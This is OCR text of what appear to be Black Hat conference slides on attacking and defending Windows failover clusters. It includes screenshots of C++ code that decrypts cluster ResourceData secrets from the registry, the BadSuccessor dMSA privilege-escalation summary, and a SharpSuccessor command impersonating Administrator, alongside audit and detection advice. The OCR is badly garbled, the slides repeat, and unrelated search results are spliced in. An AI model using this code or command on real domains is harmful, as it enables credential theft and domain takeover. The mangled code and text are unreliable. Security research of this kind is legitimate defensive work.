private: Crypto::CryptProvider& operator=(const Crypto: :CryptProviders);

public: virtual ~(ryptPrﬂv\dsrl)

public: VOID Encrypt(const std: char, std: :allocator<unsi char> >&, std::vector<unsigned char,std::allocator<unsigned char> >&);

public: VOID Encrypticonst UCHARY, ULONGLONG, std::vector<unsigned char,std::allocator<unsigned chars >&);

public: VOID Decrypt(std: :vector<unsigned char,std::allocator<unsigned char> >&);

private: ULONGLONG AquireContext(const std::basic_string<uchar_t,std: :char_traits<uchar_t>,std: :allocator<wchar t> >&, ULONG, const std::basic_stringauchar t,std: :char_traits<uchar_t>,std: :allocator<uchar_t> >§
private: PVOID OpenAlgorithm(const std::basic_string<wchar_t,std::char_traits<wchar_t=,std::allocatorswchar_t> >&);

private: VOID GenerateCryptKey(cxl: :AutoHandle<void *,long,SBCryptDestroyKey, 858, std::vector<unsigned char,std: a'l'lncatnr<uns\gned char> >§, std: :vector<unsigned char,std: :allocator<unsigned char> >&);
private: VOID EncryptData(PULONG, PUCHAR, ULONGLONG);

public: virtual PVOID _vecDelDtor(ULONG);

private: static LONG CryptReleaseContext (ULONGLONG);
private: static LONG BCryptCloseAlgorithmProvider(PVOID);

It helpfully has plenty of debug statements that give away the structure
of the blob. This image shows an example

uvars = ae ::basic string<>

{local c0O,

L"BCryptDecryvpt{ cryptKey, BUFFER | data ), (ULONG)( data.size({) - BU
ER HEADER SIZE - BUFFER IV SIZE( data ) - BUFFER KEY SIZE({ data ) ), null
¥, sdata[0] + BUFFER_HEADER SIZE, *(PDWORD)&data[0], BUFFER DATA{ data ),
ULONG) { data.size() - BUFFER HEADER SIZE - BUFFER IV SIZE( data ) - BUFFE
KEY SIZE( data ) ), &size, BCRYPT BLOCK PRDDING )™

)i
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class Crypto: iCryptProvider { /* Size=0x40 */
/% 0x0008 : std::basic_string<uchar_t,std: :char_traits<uchar_t>,std: :allocator<uchar_t> > _keyName;
/% 0x0028 utoHandle<unsigned __int64, int,&Crypto: :CryptProvider: :CryptReleaseContext, 0> _cryptProvider;
/% 00030 utoHandle<unsigned __int64,int,&CryptDestroyKey,0> _exchangeKey;
7+ 0x0038 +/ private: cxli:AutoHandlesvoid *,long,&Crypto: :CryptProviders :BCryptCloseAlgor ithnProvider, 6> _algoProvider;

public: CryptProvider(const std::basic_stringewchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t> >&, ULONG, const std::basic_stringewchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t> >&, ULONG);
private: CryptProvider(const Crypto::CryptProviders);

private: Cryptn.,CryptPrw\der& operator‘(:nnst Crypto: :CryptProvider&);

public: virtual ~CryptProvider|
public: VOID Encrypt(const std: :vector char, std: :allocator char> >8, std: :vector<unsigned char,std: :allocator<unsigned char> >&);

public: VOID Encrypt(const UCHAR*, umuﬁmuﬁ, St vectnr<unslgned char,std..a'l'lucatl)r<unslgned char> >&);

public: VOID Decrypt(std: :vector<unsigned char,std: :allocator<unsigned char>
private: ULONGLONG AquireContext(const std::basic_stringsuchar_t,std: :char_traitssuchar_t>,std: :allocator<uchar_t> >&, ULONG, const std::basic_stringewchar_t,std::char_traits<uchar_t>,std: :allocator<uchar_t> 8,

private: PVOID OpenAlgorithm(const std::basic_stringachar_t,std::char_tralts<wchar_t>,std ocatorauchar_t> >&);
private: VOID GenerateCryptKey(cxl: AutoHandle<void *,long,&BCryptDestroyKey, 6>, std:ivector<unsigned char,std::allocator<unsigned char> >&, std:ivector<unsigned char,std::allocator<unsigned char> >&);
private: VOID EncryptData(PULONG, PUCHAR, ULONGLONG);

public: virtual PVOID 7vecDelDtDrlUL0MG);

private: static LONG CryptReleaseContext(ULONGLONG);
private: static LONG BCryptCloseAlgorithmProvider(PVOID);

It helpfully has plenty of debug statements that give away the structure
of the blob. This image shows an example

:basic string<>

{local c0O,
L"BCryptDecrypt{ cryptKey, BUFFER DATA( data ), (ULONG)( data.size() - BU
ER HEADER SIZE - BUFFER IV SIZE( data )} - BUFFER KEY SIZE( data ) ), null
r, sdata[0] + BUFFER_HERDER SIZE, *(PDWORD)sdata[0], BUFFER_DATA({ data ),
ULONG) { data.size() - BUFFER HEADER SIZE - BUFFER IV SIZE( data ) — BUFFE
KEY SIZE{ data ) ), &size, BCRYPT BLOCK PRADDING "

)i

December 6t 2024 at 9:32 AM Evan

Here you go
https://gist.github.com/EvanMcBroom/a63f17466c7d1ab8bl11ae80e5202

8/ce
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ELI5 how do clusters work

AlMode All Videos Images Shortvideos Forums Shopping More ~

4 Al Overview

Imagine a cluster as a team of computers working together to get a job done
faster or handle more work than a single computer could. Think of it like a
group of friends working on a project: instead of one person doing
everything, they split up the tasks and help each other out. ¢

Here's a simple breakdown:

Many Computers, One Goal:

A cluster is made up of multiple computers (called nodes) that are connected and
work together. ¢

Show more v

Reddit - r/explainlikeimfive
10+ comments - 9 years ago H

ELI5: what is cluster computing ? : r/explainlikeimfive

Cluster computing is a form of distributed processing. In general, it's often hard to create one single,
very powerful, computer to do a specific task.
12 answers - Top answer: So you have one computer doing a thing. That computer is pretty good at d...

Eli5: Clustering PC, : r/explainlikeimfive - Reddit 5 answers Oct 26, 2021
ELI5: Nodes and Clusters - What are they? Why do you ... 4 answers Jan 31, 2022
More results from www.reddit.com

BENIabs
https://www.benlabs.com > Resources  :

ELI5: Explain Cluster Analysis
Oct 17, 2023 — Using candy sorting robots to explain Al cluster analysis and how it helps marketers
learn, create, model, and scale with incredible ...
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Tools ~

ELI5: what is cluster computing ?
Oct 30, 2015

e Reddit - r/explainlikeimfive  $

Eli5: Clustering PC, : r/explainlikeimfive -
Reddit

Oct 26, 2021 — Each set of clustered systems
is set up on either a hardware (they're all...
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1 // Copyright (C) 2024 Evan McBroom
2/
3 // The code may be used to encrypt or decrypt the ResourceData
4 // content which SMB cluster servers store in the registry.
5 //
6 // The current format of ResourceData is as follows:
Y PREFEX (4 bytes): Believed to be the data format version.
8 // HEADER {
9 // BUFFER_IV_SIZE (4 bytes)
i // BUFFER_KEY_SIZE (& bytes)
11 //  }
12 // BUFFER_IV
3 // BUFFER_KEY
14 // BUFFER_DATA
5 //
16 // At the time of writing, the value of PREFIX is stored as 2.
17 // The PREFIX value should be stripped before encrypting and
18 // decrypting any ResourceData content.
19 //
20 #include <windows.h>
21
22 #include <bcrypt.h>
23  #include <iomanip>
24  #include <iostream>
25 #include <ntstatus.h>
26 #include <stdlib.h>
27 #include <string>
28 #include <vector>
29 #include <wincrypt.h>
30
31 class CryptProvider {
32 public:
33
34 virtual ~CryptProvider();
35 void Encrypt(const std::vector<UCHAR>& plaintext, std::vector<UCHAR>& resourceData) {
36 this=>Encrypt((const PUCHAR) (plaintext.data()), plaintext.size(), resourceData);
37 }
38 void Encrypt(const PUCHAR pPlaintext, SIZE_T cbPlaintext, std::vector<UCHAR>& resourceData);
39 void Decrypt(std::vector<UCHAR>&);
40
41 private:
42 std::wstring _keyName;
43 HCRYPTPROV _cryptProvider{ HCRYPTPROV(INVALID_HANDLE_VALUE) };
44 HCRYPTKEY _exchangeKey{ HCRYPTKEY(INVALID_HANDLE_VALUE) };

gist.github.com

¢

O Encryption and decryption code for clustered SMB servers. - GitHub

nary

CryptProvider(const std::wstring& provider, DWORD dwProvType, const std::wstring& container, DWORD dwFlags);
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e ELI5 how do clusters work - Google Search O Encryption and decryption code for clustered SMB servers. - GitHub
122 status = BC*yptEncrypt(key pPlalntext ULONG(chlalntext), nulipt* iv.data(), iv.size(), embeddedSecret + *embeddedSec
123 if (status != STATUS_SUCCESS) {

124 throw status;

125 }

126

127

128 void CryptProvider::Decrypt(std::vector<UCHAR>& data) {

129 DWORD error{ @ };

130 / Get the key stored in the CNG container that was used to encrypt the embedded secret
131 if (HANDLE( exchangeKey) I= INVALID_HANDLE VALUE) {

132 CryptDestroyKey(_exchangeKey);

133 }

134 if (CryotGe*UserKey( _cryptProvider, AT_KEYEXCHANGE, &_exchangeKey)) {

135 / Pointers to each component of the resource data

136 TS T U U I CaU L ST S I e ™ ONCRE 277

137 auto embeddedIvSize{ reinterpret cast<DWORD*>(data.data()) };

138 auto embeddedSecretSize{ reinterpret_cast<DWORDx>(data.data()) + 1 };

it RegCloseKey
tj: ReglueryValue
eglueryValue

HKLMCluster

HKLM\Cluster\Checkpoints\cadt2fbe-51c0-4 /e 1-93ce-1eff 4dfb463e \Crypto \Checkpoints
HKLM\Cluster\Checkpoints‘\cadtXte-51c0-4 /e 1-93ce-1eff4dfb46 3 \Crypto® uheckpulnt.,
HKLM\Cluster\Checkpoints\cad6Xte-51c(-47e1-93ce-1eff4dfb463e

HKLM \Cluster\Checkpoints\cadtZ6e-51c(-4 /e 1-93ce-1eff4dfb463e \ Crypto

HKLM

HKLM\Cluster

status = status;

}
}
else {
error = status;
}
}
else {
error = GetlLastError();
}
}
else {
error = GetLastError();
}

if (error) {
throw error:

+
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. ELI5 how do clusters work - Google Search O Encryption and decryption code for clustered SMB servers. - GitHub

122 status = BCryptEncrypt(key, pPlaintext, ULONG(cbPlaintext), nullptr, iv.data(), iv.size(), embeddedSecret + *embeddedSec

123 if (status != STATUS_SUCCESS) {

124 throw status;

125 }

126 }

127

128 void CryptProvider::Decrypt(std::vector<UCHAR>& data) {

129 DWORD error{ 0 };

130 // Get the key stored in the CNG container that was used to encrypt the embedded secret

131 if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) {

132 CryptDestroyKey(_exchangeKey);

133 }

134 if (CryptGetUserKey(_cryptProvider, AT_KEYEXCHANGE, &_exchangeKey)) {

135 // Pointers to each component of the resource data

136 const auto headerSize{ sizeof(DWORD) * 2 };

137 auto embeddedIvSize{ reinterpret_cast<DWORD*>(data.data()) };

138 auto embeddedSecretSize{ reinterpret_cast<DWORD*>(data.data()) + 1 };

139 auto embeddedIv{ data.data() + headerSize };

140 auto embeddedSecret{ embeddedIv + *embeddedIvSize };

141 auto embeddedCiphertext{ embeddedSecret + *embeddedSecretSize };

142 DWORD size{ *embeddedSecretSize };

143 [/ Decrypt the embedded secret in-place

144 if (CryptDecrypt(_exchangeKey, NULL, TRUE, @, embeddedSecret, &size)) |

145 BCRYPT_KEY_HANDLE cryptKey;

146 /] Generate a new Key Trom the decrypted embedded secrec

147 auto status{ BCryptGenerateSymmetricKey(_algoProvider, &cryptKey, NULL, @, embeddedSecret, size, 9) };

148 if (status == STATUS_SUCCESS) {

149 auto cbCiphertext{ (ULONG)(data.size() - headerSize - *embeddedIvSize - *embeddedSecretSize) };

150 status = BCryptDecrypt(cryptKey, embeddedCiphertext, cbCiphertext, nullptr, embeddedIv, *embeddedIvSize, emb

151 if (status != STATUS_SUCCESS) {

152 status = status;

153 }

154 }

155 else {

156 error = status;

157 }

158 }

159 else {

160 error = GetLastError();

161 }

162 }

163 else {

164 error = GetLastError();

165 }

166 if (error) {

167

throw error:
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= gist.github.com ©
. ELI5 how do clusters work - Google Search O Encryption and decryption code for clustered SMB servers. - GitHub
122 status = BCryptEncrypt(key, pPlaintext, ULONG(cbPlaintext), nullptr, iv.data(), iv.size(), embeddedSecret + *embeddedSec
123 if (status != STATUS_SUCCESS) {
124 throw status;
125 }
126 '}
127
128 void CryptProvider::Decrypt(std::vector<UCHAR>& data) {
129 DWORD error{ 0 };
130 // Get the key stored in the CNG container that was used to encrypt the embedded secret
131 if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) {
132 CryptDestroyKey(_exchangeKey);
133 }
134 if (CryptGetUserKey(_cryptProvider, AT_KEYEXCHANGE, &_exchangeKey)) {
135 // Pointers to each component of the resource data
136 const auto headerSize{ sizeof(DWORD) * 2 };
137 auto embeddedIvSize{ reinterpret_cast<DWORD*>(data.data()) };
138 auto embeddedSecretSize{ reinterpret_cast<DWORD*>(data.data()) + 1 };
139 auto embeddedIv{ data.data() + headerSize };
140 auto embeddedSecret{ embeddedIv + *embeddedIvSize };
141 auto embeddedCiphertext{ embeddedSecret + *embeddedSecretSize };
142 DWORD size{ *embeddedSecretSize };
143 // Decrypt the embedded secret in-place
144 if (CryptDecrypt(_exchangeKey, NULL, TRUE, @, embeddedSecret, &size)) {
145 BCRYPT_KEY_HANDLE cryptKey;
146 // Generate a new key from the decrypted embedded secret
147 auto status{ BCryptGenerateSymmetricKey(_algoProvider, &cryptKey, NULL, @, embeddedSecret, size, 9) };
148 if (status == STATUS_SUCCESS) {
149 LU U L e L LE Rty L ULUNG U d e S L e = e dUer S L e = REiioeGued Vs IZe = FeElveuueusecretoize 7,
150 status = BCryptDecrypt(cryptKey, embeddedCiphertext, cbCiphertext, nullptr, embeddedIv, *embeddedIvSize, emb
151 if (status != STATUS_SUCCESS) {
152 status = status;
153 }
154 }
155 else {
156 error = status;
157 }
158 }
159 else {
160 error = GetLastError();
161 }
162 }
163 else {
164 error = GetLastError();
165 }
166 if (error) {

167

throw error:
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. ELI5 how do clusters work - Google Search O Encryption and decryption code for clustered SMB servers. - GitHub
122 status = BCryptEncrypt(key, pPlaintext, ULONG(cbPlaintext), nullptr, iv.data(), iv.size(), embeddedSecret + *embeddedSec
123 if (status != STATUS_SUCCESS) {
124 throw status;
125 }
126 '}
127
128 void CryptProvider::Decrypt(std::vector<UCHAR>& data) {
129 DWORD error{ 0 };
130 // Get the key stored in the CNG container that was used to encrypt the embedded secret
131 if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) {
132 CryptDestroyKey(_exchangeKey);
133 }
134 if (CryptGetUserKey(_cryptProvider, AT_KEYEXCHANGE, &_exchangeKey)) {
135 // Pointers to each component of the resource data
136 const auto headerSize{ sizeof(DWORD) * 2 };
137 auto embeddedIvSize{ reinterpret_cast<DWORD*>(data.data()) };
138 auto embeddedSecretSize{ reinterpret_cast<DWORD*>(data.data()) + 1 };
139 auto embeddedIv{ data.data() + headerSize };
140 auto embeddedSecret{ embeddedIv + *embeddedIvSize };
141 auto embeddedCiphertext{ embeddedSecret + *embeddedSecretSize };
142 DWORD size{ *embeddedSecretSize };
143 // Decrypt the embedded secret in-place
144 if (CryptDecrypt(_exchangeKey, NULL, TRUE, @, embeddedSecret, &size)) {
145 BCRYPT_KEY_HANDLE cryptKey;
146 // Generate a new key from the decrypted embedded secret
147 auto status{ BCryptGenerateSymmetricKey(_algoProvider, &cryptKey, NULL, @, embeddedSecret, size, 9) };
148 if (status == STATUS_SUCCESS) {
149 auto cbCiphertext{ (ULONG)(data.size() - headerSize - *embeddedIvSize - *embeddedSecretSize) };
150 status = BCryptDecrypt(cryptKey, embeddedCiphertext, cbCiphertext, nullptr, embeddedIv, *embeddedIv{ize, emb
151 if (status != STATUS_SUCCESS) { 1
152 Stalus = stacus;
153 }
154 }
155 else {
156 error = status;
157 }
158 }
159 else {
160 error = GetLastError();
161 }
162 }
163 else {
164 error = GetLastError();
165 }
166 if (error) {

167 throw error:
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Step 3: Grant the CNO permissions to the OU or
prestage VCOs for clustered roles

When you create a clustered role with a client access point, the cluster creates a VCO in the same OU as the CNO. For
this to occur automatically, the CNO must have permissions to create computer objects in the OU.

If you prestaged the CNO in AD DS, you can do either of the following to create VCOs:

® Option 1: Grant the CNO permissions to the OU. If you use this option, the cluster can automatically create VCOs in
AD DS. Therefore, an administrator for the failover cluster can create clustered roles without having to request that
you prestage VCOs in AD DS.

@ Note

Membership in the Domain Admins group, or equivalent, is the minimum required to complete the steps for this
option.

e Option 2: Prestage a VCO for a clustered role. Use this option if it is necessary to prestage accounts for clustered
roles because of requirements in your organization. For example, you may want to control the naming convention,

or control which clustered roles are created.

@ Note

Membership in the Account Operators group is the minimum required to complete the steps for this option.

Grant the CNO permissions to the OU

=

. In Active Directory Users and Computers, on the View menu, make sure that Advanced Features is selected.

[\

. Right-click the OU where you created the CNO in Step 1: Prestage the CNO in AD DS, and then select Properties.

3. On the Security tab, select Advanced.

»~

In the Advanced Security Settings dialog box, select Add.
5. Next to Principal, select Select a principal.

6. In the Select User, Computer, Service Account, or Groups dialog box, select Object Types, select the Computers
check box, and then select OK.

7. Under Enter the object names to select, enter the name of the CNO, select Check Names, and then select OK. In

response to the warning message that says that you are about to add a disabled object, select OK.

8. In the Permission Entry dialog box, make sure that the Type list is set to Allow, and the Applies to list is set to This
object and all descendant objects.

9. Under Permissions, select the Create Computer objects check box.
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9. Under Permissions, select the Create Computer objects check box.
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ForeignSecurityPrincipals | Computers Pr o Prestage Computer Object for the Cluster Name
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= Full control and permission on the cluster container

Before you walk through thi: broat - Y TS —
like to placemy Hyner-V nac Step 5: o Prestage Computer Object for the Cluster Aware Updating Server
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you don't complete this step objects. Others d¢ The official automatic creation way

as well as issues wit cq

- = 1. Give the CNO Create computer objects, list properties, read properties, write properties

S4 Al cle  Arkinn  Viaw L nuvar tha NI 1 it racidac in

Or you can allow the cluster to create the listener itself:

/Powershell
» Give the CNO: create computer objects, list properties, read properties, write properties over the OU it resides in

» Create the listener through SSMS/TSQL/Powershell

E ™ -omputer account Full Control
permissions to the Organizational Unit./After you've created the account, disable it as shown in the first ADUC
screenshot. Otherwise, CAU won't be able to activate it.
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BadSuccessor: Abusing dMSA to Escalate
Privileges in Active Directory

ﬁ!l Yuval Gordon
| ' Qha X v
=) May 21, 2025 Share n \ Em .

|

By abusing dMSAs, attackers can take over any principal in the
domain.

Executive summary

+ Akamai researcher Yuval Gordon discover(¢
Windows Server 2025 that allows attacke 2 Directory
(AD).

¢ The attack exploits the delegated Managed Service Account (AMSA) tfeature that was
introduced in Windows Server 2025, works with the default configuration, and is trivial
to implement.
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BadSuccessor: Abusing dMSA to Escalate
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Yuval Gordon
\ May 21,2025

By abusing dMSAs, attackers can take over any principal in the
domain.

Executive summary

« Akamai researcher Yuval Gordon discovert™ = S ty in
Windows Server 2025 that allows attacke 2 Directory
(AD).

¢ The attack exploits the delegated Managed Service Account (AMSA) teature that was
introduced in Windows Server 2025, works with the default configuration, and is trivial
to implement.
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SharpSuccessor is a .NET Proof of Concept (POC) for fully weaponizing Yuval Gordon's (@YuGOrd) BadSuccessor

attack from Akamai. A low privilege user with CreateChild permissions ove
Active Directory domain can escalate privileges to domain administrator.

Use SharpSuccessor to add and weaponize the dMSA object, setting the acd

context:

SharpSuccessor.exe add /impersonate:Administrator /path:"ou=test,
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Learn / Windows Server / Identity and access / ‘ Ask Learn ‘ ‘ 60 Focus mode

Setting up an AD FS Deployment with
AlwaysOn Availability Groups

04/08/2025 « Applies to: 8 Windows Server 2025, 8 Windows Server 2022, # Windows Server 2019, 8 Windows Server 2016

A highly available geo-distributed topology provides:

e Elimination of a single point of failure: With failover capabilities, you can achieve a highly available AD FS
infrastructure even if one of the data centers in a part of a globe goes down.
e Improved performance: You can use the suggested deployment to provide a high-performance AD FS infrastructure

AD FS can be configured for a highly available geo-distributed scenario. The following guide will walk through an

overview of AD FS with SQL Always on Availability Groups and provide deployment considerations and guidance.
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overview of AD FS with SQL Always on Availability Groups and provide deployment considerations and guidance.
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¢ Elimination of a single point «
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AD FS can be configured for a higt
overview of AD FS with SQL Alway
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Manage database availability groups in
Exchange Server

04/30/2025

APPLIES TO: @2016 ®2019 @ Subscription Edition

A database availability group (DAG) is a set of upto 16 Exchange Mailbox servers that provide automatic, database-level
recovery from a database/server/network failure. DAGs use continuous replication and a subset of Windows failover
clustering technologies to provide high availability and site resilience. Mailbox servers in a DAG monitor each other for
failures. When a Mailbox server is added to a DAG, that server works with the other servers in the DAG to provide

automatic, database-level recovery from database failures.

When you create a DAG, it's initially empty. When you add the first server to a DAG, a failover cluster is automatically
created for the DAG. In addition, the infrastructure that monitors the servers for network or server failures is initiated. The
failover cluster heartbeat mechanism and cluster database are then used to track and manage information about the
DAG which can change quickly, such as database mount status, replication status, and last-mounted location.
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Use a SQL Server Always On solution for the site database

1er for

Configuration Manager supports the following SQL Server Always On solutions for the site database:
zally
ated. The

* Host the site database at primary sites and the central administration site in an availability group. For more tthe

information, see Prepare to use a SQL Server Always On availability group.

e Use a failover cluster instance for the database at a central administration site or primary site. For more information,

see Use a SQL Server Always On failover cluster instance.

Secondary sites can't use SQL Server Always On, and don't support backup or restoration of their site database. Recover

a secondary site by reinstalling the secondary site from its parent primary site.
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Learn / Windows Server / Identity and access / . Microsoft:

. Ay Windows Server System y groups in
Setting up an AD FS

AlwaysOn Availabilit

04/08/2025 » Applies to: ¥ Windows Server 2025, 8 Windq

A highly available geo-distributed topology provides bx servers that provide automatic, database-level

b replication and a subset of Windows failover

¢ Elimination of a single point of failure: With failg ailbox servers in a DAG monitor each other for
ilbox servers i i
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¢ Improved performance: You can use the suggeq
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Failover Clustering and Active Directory Certificate
Services in Windows Server 2008 and
Windows Server 2008 R2

Microsoft Corporation
Published: January 2010

By Carsten B. Kinder & Mark B. Cooper
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a secondary site by reinstalling the secondary site from its parent primary site.
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If you're going to pre-stage the account, you need tg assign the cluster’s computer account Full Control
permissions to the Organizational Unit./After you've created the account, disable it as shown in the first ADUC

screenshot. Otherwise, CAU won't be able to activate it.
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Audit cluster virtual accounts

9. Under Permissions, select the Create Computer objects check box.

#BHUSA @BlackHatEvents



leckhat@
BRIEFINGS

Audit cluster virtual accounts

9. Under Permissions, select the Create Computer objects check box.

Remove excessive permissions
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Viere Actions
The NetBIOS name is limited to 15 characters. One or more IPv4 addresses could not be configured )
) automatically. For each network to be used, make sure the network is selected, and then type an View

address. ‘
‘ Refresh

Networks Address Properties
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View

4 automatically. For each network to be used, make sure the network is selected, and then type an
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Networks Address Properties

Detect authentication from
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#BHUSA @BlackHatEvents



Recycle Bin CIM Explorer

Process
Hacker 2

7

System
Informer

2025

H
x64dbg

2
x32dbg

o E

accesschkb4  Windows
- Shortcut  Admin C...

Cluster keytab.txt

Rubeus.exe evandecry...

File Action View Hl

== Failover Cluster Manag
luster.ludus.domd
Roles
5 Nodes
¢4 Storage
Networks
u Cluster Events

Registry Editor

File Edit View Favorites Help

v @ Computer
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE

0.Cluster

BCD00000000

Name

ab| (Default)
o ADAware
ab| CreatingDC
ab|DnsName

== pe Type here to search

o

Cluster

#o|HostRecord TTL

o] LastDNSUpdateTime
ab|Name

ab| ObjectGUID
#o|PublishPTRRecords

o

wo| RegisterAllProvidersIP

o

o] RemapPipeNames

AffinityRules
Checkpoints
Collections
Dependencies
Enclosures
FaultDomains
Groups | ResourceData
Localldentity
Networkinterfaces
Networks
Nodes
ObjectDependencies
OperatingVersion
Parameters
Quorum
Resources

10413b10-2d5e-4152-93e0-a8bct

Parameters

36fe9380-1f20-49fc-bc52-elece

3c29bb28-0d63-4f6f-84be-e1a97

66e4c65b-423c-4833-a295-5638¢

a01089b9-4ddc-47

dd4bb0a2-c7bb-4a8a-8

e802fd6f-5114-467f-97

Parameters

ResourceTypes
Spaceport
Storagelobs
StorageNodes
StorageSubsystemPolicies
Tasks
Telemetry

Type

REG_SZ
REG_DWORD
REG_SZ
REG_SZ
REG_DWORD
REG_QWORD
REG_SZ
REG_SZ
REG_DWORD
REG_DWORD
REG_DWORD
REG_BINARY

¢ = B B Computer\HKEY_LOCAL_MACHINE\Cluster\Resources\10413b10-2d5e-4152-93e0-a8bcb2fa35b6\Parameters
A

Data

(value not set)

0x00000001 (1)
\\test-DC01-2022.ludus.domr
cluster

0x000004b0 (1200)
Ox1dbff85d352df5f (13398151
CLUSTER
fd0c6b78954dab45b0b44300
0x 00000000 (0)

0x 00000000 (0)

0x00000000 (0)

02 00 00 00 1000 00 00 00 01

Prefemed Owners:

Any n

Actions

Roles
Configure Role...
Virtual Machines...
Create Empty Role
View
Refresh

m Help

Name: cluster-share
Tl Biing 0
L U

¥4 Take Offline

Show Critical Events
More Actions
Remove

Properties

Help

Windows Server 2022 Standard Evaluation
Windows License valid for 167 days
Build 20348 .fe_release.210507-1500

1:50 AM
AR s B



leckhat@
BRIEFINGS

Only the ClusSvc reads the

value of ResourceData

no RemapplpeNam €s F‘EG DWORD 0x 00000000 (0)

no|ResourceData REG_BINARY 02 00 00 00 10 00 00 00 00 01
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Only the ClusSvc reads the
value of ResourceData
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io| RemapPipeNames REG_DWORD 0x 00000000 (0)

no|ResourceData REG_BINARY 02 00 00 00 10 00 00 00 00 01

Detect access attempts from
any other principal
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BlackHat Sound Bytes

#BHUSA @BlackHatEvents



blackhat ' P
BRIEFINGS vy I

Own the node, Own the Cluster
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Cluster misconfigurations can
lead to compromise
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If the clustered service is tier 0,
so are the cluster resources
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